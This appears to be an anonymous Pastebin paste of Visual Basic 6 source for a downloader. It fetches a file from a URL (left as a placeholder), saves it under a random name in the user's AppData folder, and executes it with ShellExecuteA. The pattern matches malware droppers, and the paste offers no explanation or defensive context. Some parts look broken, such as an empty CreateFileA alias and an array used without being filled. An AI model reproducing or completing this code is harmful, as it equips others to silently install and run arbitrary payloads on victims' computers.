Advertisement
Guest User

Untitled

a guest
Jun 22nd, 2017
59
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. Option Explicit
  2.  
  3. Private Declare Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As Long
  4. Private Declare Function WriteFile Lib "kernel32" (ByVal hFile As Long, lpBuffer As Any, ByVal nNumberOfBytesToWrite As Long, lpNumberOfBytesWritten As Long, ByVal lpOverlapped As Long) As Long
  5. Private Declare Function CreateFileA Lib "kernel32" Alias "" (ByVal lpFileName As String, ByVal dwDesiredAccess As Long, ByVal dwShareMode As Long, ByVal lpSecurityAttributes As Long, ByVal dwCreationDisposition As Long, ByVal dwFlagsAndAttributes As Long, ByVal hTemplateFile As Long) As Long
  6. Private Declare Function FlushFileBuffers Lib "kernel32" (ByVal hFile As Long) As Long
  7. Private Declare Sub InternetCloseHandle Lib "wininet.dll" (ByVal hInet As Long)
  8. Private Declare Function InternetOpenA Lib "wininet.dll" (ByVal sAgent As String, ByVal lAccessType As Long, ByVal sProxyName As String, ByVal sProxyBypass As String, ByVal lFlags As Long) As Long
  9. Private Declare Sub InternetReadFile Lib "wininet.dll" (ByVal hFile As Long, ByVal sBuffer As String, ByVal lNumBytesToRead As Long, lNumberOfBytesRead As Long)
  10. Private Declare Function InternetOpenUrlA Lib "wininet.dll" (ByVal hOpen As Long, ByVal sUrl As String, ByVal sHeaders As String, ByVal lLength As Long, ByVal lFlags As Long, ByVal lContext As Long) As Long
  11. Declare Function ShellExecuteA Lib "shell32.dll" (ByVal hwnd As Long, ByVal lpOperation As String, ByVal lpFile As String, ByVal lpParameters As String, ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long
  12.  
  13. Private Function DLDLDL(ByVal URL As String) As String
  14.   Dim hInet As Long
  15.   Dim hURL As Long
  16.   Dim Buffer As String * 2048
  17.   Dim Bytes As Long
  18.  
  19.   hInet = InternetOpenA(vbNullString, 0, vbNullString, vbNullString, 0)
  20.   hURL = InternetOpenUrlA(hInet, URL, vbNullString, 0, &H80000000, 0)
  21.  
  22.   Do
  23.     InternetReadFile hURL, Buffer, Len(Buffer), Bytes
  24.     If Bytes = 0 Then Exit Do
  25.     DLDLDL = DLDLDL & Left$(Buffer, Bytes)
  26.   Loop
  27.  
  28.   InternetCloseHandle hURL: InternetCloseHandle hInet
  29. End Function
  30.  
  31. Sub Main()
  32. Dim sData As String
  33. Dim sRuns() As String
  34. Dim i As Integer
  35. Dim sPart() As String
  36. Dim sBuffer As String
  37. Dim sExtension As String
  38. Dim sFilePath As String
  39.  
  40.  
  41.     sBuffer = ""
  42.     DoEvents
  43.     sBuffer = DLDLDL("URL")
  44.     DoEvents
  45.     sExtension = Right(sPart(0), 4)
  46.     DoEvents
  47.     sFilePath = Environ("appdata") & "\" & sRnd & sExtension
  48.     Call WriteStringToFile(sFilePath, sBuffer)
  49.     DoEvents
  50.     ShellExecuteA 0, "open", sFilePath, 0, 0, 1
  51.  
  52. End Sub
  53.  
  54. Public Function sRnd()
  55. Dim i As Integer
  56. sRnd = ""
  57. For i = 1 To 10
  58.     Randomize
  59.     sRnd = sRnd & Chr(Int(Rnd * (122 - 97 + 1) + 97))
  60. Next
  61. End Function
  62. Public Function WriteStringToFile(FileName As String, ByVal TheData As String, Optional NoOverwrite As Boolean = False) As Boolean
  63. Dim lHandle As Long
  64. Dim lSuccess As Long
  65. Dim lBytesWritten As Long, lBytesToWrite As Long
  66. If NoOverwrite = True And Dir(FileName) <> "" Then Exit Function
  67. lBytesToWrite = Len(TheData)
  68. lHandle = CreateFileA(FileName, &H40000000 Or &H80000000, _
  69.                      0, 0, 4, &H80, 0)
  70.  
  71. If lHandle <> -1 Then
  72.    lSuccess = WriteFile(lHandle, ByVal TheData, _
  73.                         lBytesToWrite, lBytesWritten, 0) <> 0
  74.    If lSuccess <> 0 Then
  75.       lSuccess = FlushFileBuffers(lHandle)
  76.       lSuccess = CloseHandle(lHandle)
  77.    End If
  78. End If
  79. ErrorHandler:
  80. WriteStringToFile = lSuccess <> 0
  81. End Function
  82.  
  83. Private Function Array2String(b() As Byte) As String
  84.     Dim i       As Long
  85.     On Error Resume Next
  86.     For i = 0 To UBound(b())
  87.         Array2String = Array2String & Chr(b(i))
  88.     Next i
  89. End Function
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement